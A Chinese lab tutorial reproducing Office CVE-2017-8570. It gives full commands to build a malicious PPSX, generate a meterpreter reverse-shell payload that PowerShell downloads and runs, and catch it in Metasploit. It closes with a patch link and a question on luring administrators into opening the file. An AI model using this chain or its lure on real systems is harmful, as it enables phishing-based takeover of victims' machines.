实验环境

  • 操作机:Kali Linux IP:172.16.11.2
  • 目标机:windows7 x64 IP:172.16.12.2

实验目的

  • 掌握漏洞的利用方法

实验工具

  • Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作。

实验内容


Office CVE-2017-8570

CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞:Office全家桶

漏洞介绍

OfficeCVE-2017-85702017年7月,微软在例行的阅读补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上公布了利用代码影响范围广泛。该漏洞为Microsoft Office的一个远程代码执行漏洞。

其成因是Microsof PowerPoint执行时会初始化“script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows script Component)文件。攻击这可以欺骗用户运行含有该漏洞的PPT文件导致获取和当前登录用户相同的执行权限。

影响版本

  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2 (32-bit editions)
  • Microsoft Office 2010 Service Pack 2 (64-bit editions)
  • Microsoft Office 2013 RT Service Pack 1
  • Microsoft Office 2013 Service Pack 1 (32-bit editions)
  • Microsoft Office 2013 Service Pack 1 (64-bit editions)
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office 2016 (64-bit edition)

实验步骤

步骤1:生成恶意的PPSX文件

我们首先使用Xshell连接Kali机器,点击桌面Xshell图标,输入IP:172.16.12.2,账号为:root 密码:123456 ,如图:

首先我们在Kali中执行如下命令:

cd  CVE-2017-8570       //进入exploit的目录

python cve-2017-8570_toolkit.py  -M gen -w Invoice.ppsx -u http://172.16.12.2/logo.doc       //生成ppsx恶意文件

使用ls命令,可以看到已经成功生成了ppsx格式文件。

接下来我们生成恶意PPSX文件通过调用Powershell下载并执行的反弹木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe

其中 -p 参数是 payload的意思,使用的windows的meterpreter的反弹木马-f参数 指定输出文件后缀为exe文件再用>重定向输出到tmp目录下

接下来输入如下命令:

python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe

这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹木马

接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell

msfconsole
use multi/handler //使用监听模块
set payload windows/meterpreter/reverse_tcp //设置Payload
set LHOST 172.16.12.2 //设置本地接收IP
run

可以看到我们的Metaspliot已经在本地开启监听

到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件

步骤2:目标机器执行恶意PPSX文件

我们使用桌面Xftp软件,连接上目标机172.16.12.2,将Invoice.ppsx文件拖到当前桌面上。

如图,他是一个PPT文件,我们模拟用户双击打开它。

执行过程中可以看到代码通过调用powershell在远程下载执行我们的恶意木马,此时已经反弹回了shell

使用命令:

getuid     //获取当前用户ID

这样就获取了目标机器的权限,可以通过Metasploit去执行命令。

实验结果分析与总结

Office一直是主流的办公软件,CVE-2017-8570这个漏洞影响office所有发行版本,当用户不经意点击了我们的恶意PPSX文件,那么我们就可以直接获取到他的用户权限,可以看到危害性十分高。


修复方案:

补丁地址https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570

思考

  • 请思考,我们可以用什么方式诱发管理员触发这个漏洞?

Office CVE-2017-8570远程代码执行漏洞复现的更多相关文章

  1. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  2. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  3. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  4. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  5. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  6. CVE-2017-8464 LNK文件(快捷方式)远程代码执行漏洞复现

    北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543) ...

  7. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

  8. ECShop全系列版本远程代码执行漏洞复现

    前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_R ...

  9. vBulletin 5.x 版本通杀远程代码执行漏洞复现

    漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...

随机推荐

  1. set_union和set_intersection

    set_union使用方法: set_union(集合A起始地址,集合A终止地址,集合B起始地址,集合B终止地址,插入C集合中(操作:inserter(C.C.begin()))); set_inte ...

  2. json/pickle模块(序列化)

    什么叫序列化? 序列化是指把内存里的数据类型转变成字符串,以使其能存储到硬盘或通过网络传输到远程,因为硬盘或网络传输时只能接受bytes 为什么要序列化? 你打游戏过程中,打累了,停下来,关掉游戏.想 ...

  3. JOISC2019 简要题解

    第18回 日本情報オリンピック 春合宿 オンラインコンテスト (JOISC2019) 官网 Day 1 試験 (Examination) description 有\(N\)个学生,每个学生有两科成绩 ...

  4. MongoDB的真正性能-实战百万用户

    阅读目录 一.第一个问题:Key-Value数据库可以有好多的Key,没错,但对MongoDB来说,大错特错 二.第二个问题:FindOne({_id:xxx})就快么? 三.第三个问题:精细的使用U ...

  5. scala学习笔记-面向对象编程之Trait

    将trait作为接口使用 1 // Scala中的Triat是一种特殊的概念 2 // 首先我们可以将Trait作为接口来使用,此时的Triat就与Java中的接口非常类似 3 // 在triat中可 ...

  6. shutdown和close

    close close 一个套接字的默认行为是把套接字标记为已关闭,然后立即返回到调用进程,该套接字描述符不能再由调用进程使用,也就是说它不能再作为read或write的第一个参数,然而TCP将尝试发 ...

  7. 爱今天 APP 闪退怎么办?

    爱今天 APP 闪退怎么办? 爱今天是一款简洁优秀的时间记录 APP. 但也有一些小 Bug,可能是因为不同的手机兼容问题,在添加时间时会出现闪退现象. 可能是因为自己修改了添加时间的方式. 可以通过 ...

  8. (转)mysql创建表时反引号的作用

    试用navicat工具查看现网mysql建表语句时,发现表名和字段名都是反引号引起来的 CREATE TABLE `tab_notice_title_tv` ( `i_id` int(11) NOT ...

  9. node inspector

  10. react-hot-loader 3.0于1.3的区别

    现在react-hot-loader 3.0版本应该还是beta版本,不过没关系,还是可以正常使用,我在项目中用的是react-hot-loader 3.0.0-beta.7 版本,并没用发现任何问题 ...